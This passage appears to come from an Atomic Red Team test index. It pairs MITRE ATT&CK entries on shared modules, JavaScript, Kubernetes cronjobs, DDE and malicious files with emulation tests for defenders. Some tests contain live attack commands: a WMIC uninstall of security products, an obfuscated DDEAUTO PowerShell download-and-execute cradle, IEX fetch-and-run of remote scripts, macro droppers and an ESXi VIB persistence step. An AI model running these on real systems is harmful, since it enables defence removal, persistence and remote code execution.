works if the product was installed with an msi file. APTs have been seen using this to uninstall security products. supported_platforms: - windows input_arguments: node: description: Computer the action is being executed against but defaults to the localhost. type: string default: 127.0.0.1 product: description: Enter the product name being uninstalled. This will default to TightVNC. type: string default: Tightvnc dependency_executor_name: powershell dependencies: - description: TightVNC must be installed. prereq_command: if ((Test-Path "C:\Program Files\TightVNC\tvnviewer.exe")-Or (Test-Path "C:\Program Files (x86)\TightVNC\tvnviewer.exe")) {exit 0} else {exit 1} get_prereq_command: |- Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" start-sleep -s 10 msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart start-sleep -s 15 executor: command: wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall cleanup_command: msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart name: command_prompt elevation_required: true T1129: technique: modified: '2023-10-12T21:17:14.868Z' name: Server Software Component description: |- Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)). Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective. The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017) The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '2.2' x_mitre_data_sources: - 'Process: OS API Execution' - 'Module: Module Load' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65 created: '2017-05-31T21:31:40.542Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1129 external_id: T1129 - source_name: RotaJakiro 2021 netlab360 analysis description: " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023." url: https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/ - source_name: Apple Dev Dynamic Libraries description: Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html - source_name: Unit42 OceanLotus 2017 description: Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023. url: https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/ - source_name: Microsoft DLL description: Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023. url: https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library - source_name: Linux Shared Libraries description: Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023. url: https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1129 atomic_tests: - name: ESXi - Install a custom VIB on an ESXi host auto_generated_guid: 7f843046-abf2-443f-b880-07a83cf968ec description: | An adversary can maintain persistence within an ESXi host by installing malicious vSphere Installation Bundles (VIBs). [Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence) supported_platforms: - windows input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass plink_file: description: Path to plink type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe pscp_file: description: Path to Pscp type: path default: PathToAtomicsFolder\..\ExternalPayloads\pscp.exe vib_install: description: Path to script with commands to install the vib type: path default: PathToAtomicsFolder\..\atomics\T1129\src\esxi_vibinstall.txt vib_remove: description: Path to script with commands to remove the vib type: path default: PathToAtomicsFolder\..\atomics\T1129\src\esxi_vibremove.txt vib_file: description: Path to the dummy vib type: path default: PathToAtomicsFolder\..\atomics\T1129\src\atomicvibes.vib dependency_executor_name: powershell dependencies: - description: 'Check if plink and pscp are available. ' prereq_command: | if (Test-Path "#{plink_file}") {exit 0} else {exit 1} if (Test-Path "#{pscp_file}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\plink.exe" Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/pscp.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\pscp.exe" executor: command: | #{pscp_file} -pw #{vm_pass} #{vib_file} #{vm_user}@#{vm_host}:/tmp echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{vib_install}" cleanup_command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{vib_remove}" ' name: command_prompt elevation_required: false T1059.007: technique: x_mitre_platforms: - Windows - macOS - Linux x_mitre_domains: - enterprise-attack x_mitre_contributors: - Cody Thomas, SpecterOps object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d type: attack-pattern created: '2020-06-23T19:12:24.924Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1059.007 url: https://attack.mitre.org/techniques/T1059/007 - source_name: NodeJS url: https://nodejs.org/ description: OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020. - source_name: JScrip May 2018 url: https://docs.microsoft.com/windows/win32/com/translating-to-jscript description: Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020. - source_name: Microsoft JScript 2007 url: https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript description: Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020. - source_name: Microsoft Windows Scripts url: https://docs.microsoft.com/scripting/winscript/windows-script-interfaces description: Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020. - source_name: Apple About Mac Scripting 2016 url: https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html description: Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021. - source_name: SpecterOps JXA 2020 url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5 description: Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021. - source_name: SentinelOne macOS Red Team url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.' - source_name: Red Canary Silver Sparrow Feb2021 url: https://redcanary.com/blog/clipping-silver-sparrows-wings/ description: 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.' - source_name: MDSec macOS JXA and VSCode url: https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/ description: Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021. modified: '2022-04-25T14:00:00.188Z' name: 'Command and Scripting Interpreter: JavaScript' description: |- Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode) Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_detection: |- Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. x_mitre_is_subtechnique: true x_mitre_version: '2.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Module: Module Load' - 'Process: Process Creation' - 'Script: Script Execution' - 'Command: Command Execution' x_mitre_permissions_required: - User - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1059.007 atomic_tests: - name: JScript execution to gather local computer information via cscript auto_generated_guid: 01d75adf-ca1b-4dd1-ac96-7c9550ad1035 description: JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\T1059.007.out.txt supported_platforms: - windows input_arguments: jscript: description: Path to sample script type: string default: PathToAtomicsFolder\T1059.007\src\sys_info.js dependency_executor_name: powershell dependencies: - description: Sample script must exist on disk at specified location (#{jscript}) prereq_command: 'if (Test-Path "#{jscript}") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -ItemType Directory (Split-Path "#{jscript}") -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js" -OutFile "#{jscript}" executor: command: 'cscript "#{jscript}" > %tmp%\T1059.007.out.txt ' cleanup_command: del %tmp%\T1059.007.out.txt >nul 2>&1 name: command_prompt - name: JScript execution to gather local computer information via wscript auto_generated_guid: '0709945e-4fec-4c49-9faf-c3c292a74484' description: JScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes. supported_platforms: - windows input_arguments: jscript: description: Path to sample script type: string default: PathToAtomicsFolder\T1059.007\src\sys_info.js dependency_executor_name: powershell dependencies: - description: Sample script must exist on disk at specified location (#{jscript}) prereq_command: 'if (Test-Path "#{jscript}") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -ItemType Directory (Split-Path "#{jscript}") -Force | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js" -OutFile "#{jscript}" executor: command: 'wscript "#{jscript}" ' name: command_prompt T1053.007: technique: modified: '2023-05-09T14:00:00.188Z' name: Kubernetes Cronjob description: |- Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Center for Threat-Informed Defense (CTID) - Vishwas Manral, McAfee - Yossi Weizman, Azure Defender Research Team x_mitre_deprecated: false x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'File: File Creation' - 'Container: Container Creation' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096 created: '2021-03-29T17:06:22.247Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/007 external_id: T1053.007 - source_name: Kubernetes CronJob description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ - source_name: Kubernetes Jobs description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/job/ - source_name: Threat Matrix for Kubernetes description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021. url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.007 atomic_tests: - name: ListCronjobs auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd description: 'Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to list type: string default: default dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: 'kubectl get cronjobs -n #{namespace} ' name: bash elevation_required: false - name: CreateCronjob auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3 description: 'Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster. ' supported_platforms: - containers input_arguments: namespace: description: K8s namespace to list type: string default: default dependencies: - description: 'kubectl must be installed ' get_prereq_command: 'echo "kubectl must be installed manually" ' prereq_command: 'which kubectl ' executor: command: 'kubectl create -f src/cronjob.yaml -n #{namespace} ' cleanup_command: 'kubectl delete cronjob art -n #{namespace} ' name: bash elevation_required: false T1559.002: technique: modified: '2023-09-15T18:57:21.881Z' name: 'Inter-Process Communication: Dynamic Data Exchange' description: |- Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017) Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_deprecated: false x_mitre_detection: |- Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe). OLE, Office Open XML, CSV, and other files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection ) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Module: Module Load' - 'Script: Script Execution' x_mitre_remote_support: true type: attack-pattern id: attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d created: '2020-02-12T14:10:50.699Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1559/002 external_id: T1559.002 - source_name: OWASP CSV Injection description: " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022." url: https://owasp.org/www-community/attacks/CSV_Injection - source_name: 'CSV Excel Macro Injection ' description: " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022." url: https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/ - source_name: BleepingComputer DDE Disabled in Word Dec 2017 description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017. url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/ - source_name: SensePost PS DDE May 2016 description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017. url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ - source_name: Fireeye Hunting COM June 2019 description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019. url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html - source_name: Kettle CSV DDE Aug 2014 description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017. url: https://www.contextis.com/blog/comma-separated-vulnerabilities - source_name: Microsoft ADV170021 Dec 2017 description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018. url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021 - source_name: Microsoft DDE Advisory Nov 2017 description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017. url: https://technet.microsoft.com/library/security/4053440 - source_name: Enigma Reviving DDE Jan 2018 description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.' url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee - source_name: NVisio Labs DDE Detection Oct 2017 description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017. url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ - source_name: SensePost MacroLess DDE Oct 2017 description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017. url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1559.002 atomic_tests: - name: Execute Commands auto_generated_guid: f592ba2a-e9e8-4d62-a459-ef63abd819fd description: 'Executes commands via DDE using Microsfot Word ' supported_platforms: - windows executor: steps: | Open Microsoft Word Insert tab -> Quick Parts -> Field Choose = (Formula) and click ok. After that, you should see a Field inserted in the document with an error "!Unexpected End of Formula", right-click the Field, and choose Toggle Field Codes. The Field Code should now be displayed, change it to Contain the following: {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } name: manual - name: Execute PowerShell script via Word DDE auto_generated_guid: 47c21fb6-085e-4b0d-b4d2-26d72c3830b3 description: 'When the word document opens it will prompt the user to click ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script ' supported_platforms: - windows executor: command: 'start "$PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx" ' name: command_prompt - name: DDEAUTO auto_generated_guid: cf91174c-4e74-414e-bec0-8d60a104d181 description: |2 TrustedSec - Unicorn - https://github.com/trustedsec/unicorn SensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ Word VBA Macro [Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail) supported_platforms: - windows executor: steps: | 1. Open Word 2. Insert tab -> Quick Parts -> Field 3. Choose = (Formula) and click ok. 4. Once the field is inserted, you should now see "!Unexpected End of Formula" 5. Right-click the Field, choose "Toggle Field Codes" 6. Paste in the code from Unicorn or SensePost 7. Save the Word document. 9. DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" 10. DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\v1.0\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http:///download.ps1'); # " "Microsoft Document Security Add-On" name: manual T1204.002: technique: modified: '2023-04-21T12:22:19.740Z' name: 'User Execution: Malicious File' description: "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution x_mitre_contributors: - TruKno x_mitre_deprecated: false x_mitre_detection: |- Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' x_mitre_remote_support: false type: attack-pattern id: attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e created: '2020-03-11T14:49:36.954Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1204/002 external_id: T1204.002 - source_name: Password Protected Word Docs description: 'Lawrence Abrams. (2017, July 12). PSA: Don''t Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.' url: https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1204.002 atomic_tests: - name: OSTap Style Macro Execution auto_generated_guid: 8bebc690-18c7-4549-bc98-210f7019efff description: | This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe. Execution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents. This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns. References: https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader supported_platforms: - windows input_arguments: jse_path: description: 'Path for the macro to write out the "malicious" .jse file ' type: string default: C:\Users\Public\art.jse ms_product: description: Maldoc application Word or Excel type: string default: Word dependency_executor_name: powershell dependencies: - description: 'Microsoft #{ms_product} must be installed ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"} Stop-Process -Name $process exit 0 } catch { exit 1 } get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"cscript.exe #{jse_path}`"`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}" cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore ' name: powershell - name: OSTap Payload Download auto_generated_guid: 3f3af983-118a-4fa1-85d3-ba4daa739d80 description: 'Uses cscript //E:jscript to download a file ' supported_platforms: - windows input_arguments: script_file: description: File to execute jscript code from type: path default: "%TEMP%\\OSTapGet.js" file_url: description: URL to retrieve file from type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt executor: command: | echo var url = "#{file_url}", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; 